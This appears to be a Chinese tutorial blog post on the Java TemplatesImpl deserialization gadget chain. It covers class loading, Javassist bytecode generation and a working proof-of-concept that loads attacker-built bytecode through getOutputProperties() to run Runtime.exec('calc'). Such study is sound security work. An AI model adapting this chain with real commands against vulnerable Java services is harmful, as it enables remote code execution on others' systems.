前言
在学习java cc2
链的时候看到利用TemplatesImpl
,记得之前在fastjson
反序列化的时候也遇到过,所以就想着单独写个TemplatesImpl
利用链分析的文章,该篇也作为cc2
链的前篇。
自定义类加载器
之前学习过Java的类加载过程,我们可以通过自定义类加载器来加载字节码,现在再来复习一遍
在编写类加载器的时候需要的条件有:
- 继承
ClassLoader
类 - 重写
findClass
方法 - 在findClass方法中调用defineClass方法来定义一个类
当然,上述条件中我们不是一定要重写findClass
方法的,我们也可以重写loadClass
,只不过这样可能会破坏“双亲委派”机制,而且通过查看ClassLoader.findClass
方法也可以明白为什么重写findClass
(抛出异常的空方法)
在之前的文章中,我们通过文件读取class
文件来获取字节码并进行自定义加载,但是这样操作起来难免会有些不方便,所以有没有一种方法可以直接通过java
文件来直接获取字节码,确实可以这样,这里就需要学习一下javasist
javasist
首先我们在pom.xml
里边添加一下依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
通常我们需要将.java
文件编译成.class
才能正常执行,在命名行中我们通常使用javac
来编译,javasist
是一个处理字节码的类库,能够动态修改class
字节码文件,也可以直接读取到一个java
类的字节码,现在来简单学习一下它的常用用法:
Javassist
中最为重要的是ClassPool
、CtClass
、CtMethod
、CtField
以及CtConstructor
这几类。
CtClass: 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得
ClassPool: CtClass对象的容器, 其中键是类名称, 值是表示该类的CtClass对象
CtMethods: 表示类中的方法
CtFields: 表示类中的字段
CtConstructor:标识类中的构造器
创建ClassPool对象作为CtClass的容器:
public ClassPool(boolean useDefaultPath) {}
// ClassPool pool = new ClassPool(true);
public static synchronized ClassPool getDefault() {}
// 效果与 new ClassPool(true) 一致
// ClassPool pool = ClassPool.getDefault();
获取指定类名的CtClass类对象:
public CtClass getCtClass(String classname) throws NotFoundException {}
销毁ClassPool容器里的CtClass类对象:
public void detach(){}
创建一个CtClass类对象:
public CtClass makeClass(String classname) throws RuntimeException {}
// CtClass test = pool.makeClass("Test");
public CtClass makeClass(InputStream classfile) throws IOException, RuntimeException {}
// pool.makeClass(new FileInputStream(new File("Test.class")))
获取CtClass类对象:
public CtClass[] get(String[] classnames) throws NotFoundException {}
// pool.get(TestInterface.class.getName())
将ClassPath
加到类搜索路径的末尾位置 or插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类:
// 起始位置插入
pool.insertClassPath(new ClassClassPath(this.getClass()));
// 末尾位置插入
pool.appendClassPath(new ClassClassPath(this.getClass()));
设置需要继承的类:
public void setSuperclass(CtClass clazz) throws CannotCompileException {}
// test.setSuperclass(pool.get(TestClass.class.getName()));
设置和添加需要实现的接口:
public void setInterfaces(CtClass[] list) {}
// test.setSuperclass(pool.get(TestInterface.class.getName()));
public void addInterface(CtClass anInterface) {}
// // test.addInterface((pool.get(TestInterface.class.getName()));
构造器相关操作:
// 创建空构造器
public CtConstructor makeClassInitializer() throws CannotCompileException {}
// 添加构造器
public void addConstructor(CtConstructor c) throws CannotCompileException {}
// 删除构造器
public void removeConstructor(CtConstructor c) throws NotFoundException {}
将java语句插入:
// 插入java语句
public void insertBefore(String src) throws CannotCompileException {}
// ctConstructor.insertBefore("System.out.println(\"Hello\");")
// 设置java语句
public void setBody(String src) throws CannotCompileException {}
// ctConstructor.setBody("System.out.println(\"Hello\");")
将编译的类创建为.class文件
public void writeFile() throws NotFoundException, IOException, CannotCompileException {}
//test.writeFile();
使用示例
以上方法只是小部分,还没有涉及方法、字段及构造器等诸多操作,现在使用刚才学习的这些方法来生成一个类.class
文件,编写代码如下:
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class MakeCtClass {
public static void main(String[] args) throws Exception {
ClassPool aDefault = ClassPool.getDefault();
CtClass testCtClass = aDefault.makeClass("TestCtClass");
aDefault.insertClassPath(new ClassClassPath(AbstractTranslet.class));
testCtClass.setSuperclass(aDefault.get(AbstractTranslet.class.getName()));
CtConstructor ctConstructor = testCtClass.makeClassInitializer();
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
testCtClass.writeFile();
}
}
然后我们执行后将会在根目录生成TestCtClass.class
文件
这里发现写进去的java语句是用static
进行修饰的,static
关键字在平时我们经常用于修饰变量或者方法,然后将它们叫做静态变量或静态方法,如果向上图所示那样,则是使用static
关键字用于代码块,叫做静态代码块,当JVM加载该类时候就会执行这些静态代码块。
这里我想要通过自定义类加载器去加载这个类,先编写简单的自定义类加载器TestClassLoader
:
package com.serializable.cc2;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestClassLoader extends ClassLoader {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
Class<?> c = findLoadedClass(name);
if (c == null) {
String path = name + ".class";
byte[] classData = null;
try {
classData = Files.readAllBytes(Paths.get(path));
} catch (IOException e) {
e.printStackTrace();
}
c = defineClass(name, classData, 0, classData.length);
}
return c;
}
}
然后使用这个加载器去加载刚刚生成的TestCtClass.class
,编写LoadTestClass
package com.serializable.cc2;
import java.lang.reflect.Constructor;
public class LoadTestClass {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new TestClassLoader();
Class<?> testCtClass = classLoader.loadClass("TestCtClass");
System.out.println(testCtClass);
}
}
这里我本以为执行过后会弹出计算器,但是结果却和我想的不一样
不是说当JVM加载一个类的时候会执行它的static静态代码块的吗?
当我通过反射进行初始化该类的时候才弹出了计算器,添加了如下代码:
testCtClass.getConstructor().newInstance();
这时我突然对这个问题很好奇,也对之前学习Java类加载过程的内容标识怀疑!
经过向大佬请教,之前我们对类加载的理解也并没有问题,静态代码块确实是在JVM加载该类的时候执行,但是这里容易混淆,Java类加载按大了分为三个步骤:加载、链接、初始化!类加载和加载并不能混为一谈,按照之前的说法,JVM加载类包括以上的三个步骤,但是执行静态代码块的时候并不是在加载的这一个环节,而是在类加载的初始化环节!
这里还学习到了一个知识点,一个类初始化的三种方法:
- 静态初始化
- 匿名初始化
- 构造方法初始化
它们在类加载的过程中按照以上顺序执行,写个代码就懂了:
public class User {
static {
System.out.println("static");
}
{
System.out.println("Empty");
}
public User() {
System.out.println("User");
}
}
通过不同方式去加载上边的这个User
类
public class Test {
public static void main(String[] args) throws Exception {
System.out.println("forName方法,initialize 为false,不进行初始化:");
Class.forName("User", false, ClassLoader.getSystemClassLoader());
System.out.println("forName方法,进行初始化:");
Class.forName("User");
System.out.println("进行实例化:");
new User();
}
}
这里发现实例化的时候没有输出static,因为类加载的时候静态代码块只执行一次:
public class Test {
public static void main(String[] args) throws Exception {
System.out.println("进行实例化:");
new User();
}
}
继续回到刚才使用自定义加载器去加载TestCtClass.class
,这个过程中并不包括初始化操作(也不包括链接过程,只是类加载过程中的加载步骤),所以就不会执行静态代码块
TemplatesImpl加载字节码
说了这么多,终于切入正题了,TemplatesImep
利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader
,该类继承了ClassLoader
并且重写了loadClass
,我们可以通过这个类加载器进行加载字节码。因为是内部类,无法在外部进行调用,所以我们看一看哪个方法使用了这个类。
查看TransletClassLoader#defineTransletClasses
如上图所示,_bytecodes
就是需要加载的字节码,它的类型是byte[][]
,所以我们需要转换一下类型new byte[][]{bytes}
_tfactory
默认为null,如果为null的话在上图第二方框处就会报错,因为它是一个TransformerFactoryImpl
类型的对象,所以我们只需要复制给它一个对象即可new TransformerFactoryImpl()
到这里,我们来尝试去加载一下这个类,这里可以使用javasist
来生成class
字节码并通过CtClass#toBytecode
获取字节数组,也可以编写.java
文件,进行获取,下边使用后者:
编写被加载类TestTemplatesImpl.java
:
package com.serializable.cc2;
import java.io.IOException;
public class TestTemplatesImpl {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public TestTemplatesImpl() {
}
}
然后通过反射赋值并执行TemplatesImpl#defineTransletClasses
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class LoadTestTemp {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.serializable.cc2.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
defineTransletClasses.setAccessible(true);
defineTransletClasses.invoke(templates);
}
}
通过调试发现,这个类确实已经被加载了,但是最后并没有执行静态代码(当然,因为只是加载了这个类,并没有进行初始化)
所以我们继续查看一下哪里调用了TemplatesImpl#defineTransletClasses
一共有3个地方调用了TemplatesImpl#defineTransletClasses
,但是发现在getTransletInstance
这里进行了实例化操作,通过这里应该可以达到实现,我们来看一下执行条件:
首先_name
不能为null
,通过反射赋值为任意String
类型
_class
需要是null
(默认为null,无需更改)
继续往下看,接下来的_class
变量在TemplatesImpl#defineTransletClasses
执行过后会被加载入类
然后_transletIndex
变量默认为-1
在TemplatesImpl#defineTransletClasses
中也对这个变量进行了操作
superClass
变量即加载入的类的父类,如果父类为AbstractTranslet
就会给_transletIndex
赋值(也就是载入类在_class
的位置)
所以,我们需要在之前的TestTemplatesImpl.java
代码修改如下:
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TestTemplatesImpl extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public TestTemplatesImpl() {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
还要给_name
赋值,并执行TemplatesImpl#getTransletInstance
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class LoadTestTemp {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.serializable.cc2.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_name", "seizer");
Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
defineTransletClasses.setAccessible(true);
defineTransletClasses.invoke(templates);
}
}
执行后成功弹出计算器:
之后还可以进一步改进一下代码,在newTransformer
处调用了getTransletInstance
并且该方法是一个public
方法,不需要通过反射调用
这里捎带看了下synchronized关键字,大概解释就是用于Java并发编程中保证多线程安全的,当synchronized关键字修饰一个方法的时候,该方法叫做同步方法,该方法执行完或发生异常时,会自动释放锁。
所以我们可以直接调用TemplatesImpl#newTransformer
也可以弹出计算器,进一步查找,看看还有没有其他方法
发现getOutputProperties
方法中调用了newTransformer
,这里应该依然可以成功弹出计算器,然后继续寻找无果,这条利用链也就到此结束了。
利用链如下:
TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
最终POC
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class LoadTestTemp {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet
CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
byte[] bytes = testCtClass.toBytecode(); // 获取字节数据
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_name", "seizer");
// templates.newTransformer();
templates.getOutputProperties();
}
}
执行结果截图:
生成的TestCtClass.class
: